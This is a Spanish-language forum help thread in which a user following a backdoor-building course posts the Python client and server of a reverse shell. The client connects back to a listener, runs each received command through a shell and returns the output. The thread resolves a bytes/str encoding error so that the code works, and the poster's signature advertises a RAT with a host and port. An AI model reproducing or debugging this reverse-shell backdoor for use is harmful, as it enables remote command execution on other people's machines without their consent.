[SOLUCIONADO] Problemas con import socket en Python 3.8.5

Iniciado por z0mb1es, Septiembre 10, 2020, 08:26:06 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 10, 2020, 08:26:06 PM Ultima modificación: Septiembre 11, 2020, 12:05:42 AM por Gabriela
Hola camaradas, les vengo con un hilo pidiendo un poco de ayuda.

Ayer comencé con un curso de creación de backdoors desde cero usando Python y SOCKET como servidor y cliente. El servidor funciona de maravilla, pero tengo algunos problemas con el cliente.

Código: python
#!/usr/bin/python3
# _*_ coding: utf8 _*_

import socket
import subprocess
import os

def shell():
    current_dir = os.getcwd()
    client.send(current_dir)
    while True:
        res = client.recv(1024)
        if res == "exit":
            break
        else:
            proc = subprocess.Popen(res, shell = True, stdout = subprocess.PIPE,
                    stderr = subprocess.PIPE, stdin = subprocess.PIPE)
            result = proc.stdout.read() + proc.stderr.read()
            client.send(result)

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("192.168.1.93", 7777))
shell()
client.close()


Verán que estoy usando el socket AF_INET para establecer la conexión entre client-server. El código así, en teoría y respecto al curso que estoy viendo y leyendo, debería funcionar. Pero no. El error es al intentar establecer la conexión desde el cliente, el cuál da un error en la línea 23 (donde se ejecuta la función que crea la shell dentro del servidor) y dentro de la misma función en la línea 10 donde el objeto client() usa .send(current_dir) para enviar al servidor la conexión. Cuando cambio client.send(current_dir) a un print(current_dir) me muestra mi pwd (obviamente, ya que os.cwd es un 'p'rint'w'orking'd'irectory). Sin más dilaciones les muestro el error que me da Python:

Código: python
Traceback (most recent call last):
  File "client.py", line 25, in <module>
    shell()
  File "client.py", line 12, in shell
    client.send(current_dir)
TypeError: a bytes-like object is required, not 'str'


Y por si las dudas, también el código del servidor:

Código: python
#!/usr/bin/python3
#_*_ coding: utf8 _*_

import socket

def shell():
    current_dir = target.recv(1024)
    while True:
        command = input("{}/".format(current_dir))
        if command == "exit":
            target.send(command)
            break;
        else:
            target.send(command)
            res = target.recv(1024)
            print(res)

def aliveServer():
    global server
    global ip
    global target

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('192.168.1.93', 7777))
    server.listen(1)
    print("Listening in 192.168.1.106")
    target, ip = server.accept()
    print("Connection received in " + str(ip[0]))

aliveServer()
server.close()


También, estoy usando Arch Linux. Intenté hacer que el server-client funcionara entre una máquina Windows que tengo por aquí y mi Arch: no funcionó. Intenté hacerlo funcionar solamente dentro de mi máquina Windows: no funcionó. Pensé que quizás AF_INET no era el tipo de socket necesario para trabajar con máquinas *nix, por lo que intenté usar el socket AF_UNIX: resulta que este socket no crea conexiones entre máquinas, sino que entre aplicaciones dentro de máquinas o algo así, no entendí muy bien, pero el que necesito es AF_INET.

Por cierto:

Otra cosilla que puede ser un problema: el curso que estoy viendo y leyendo está escrito en Python 2.7, por lo cual he ido adaptándo el código a 3.8.5. Si el error es mío, por favor, díganme cual es para así solucionarlo.

Saludos.

[SOLUCIONADO]

tr0n por Discord me dijo que usara encode('utf8') dentro del command, y pues sirvió de maravilla.
Public Yy As String = "\z0mb1es RAT\."
         Public HOST As String = "101.110.010.111"
              Public port As Integer = 8989
                                    Public cap As New CRDP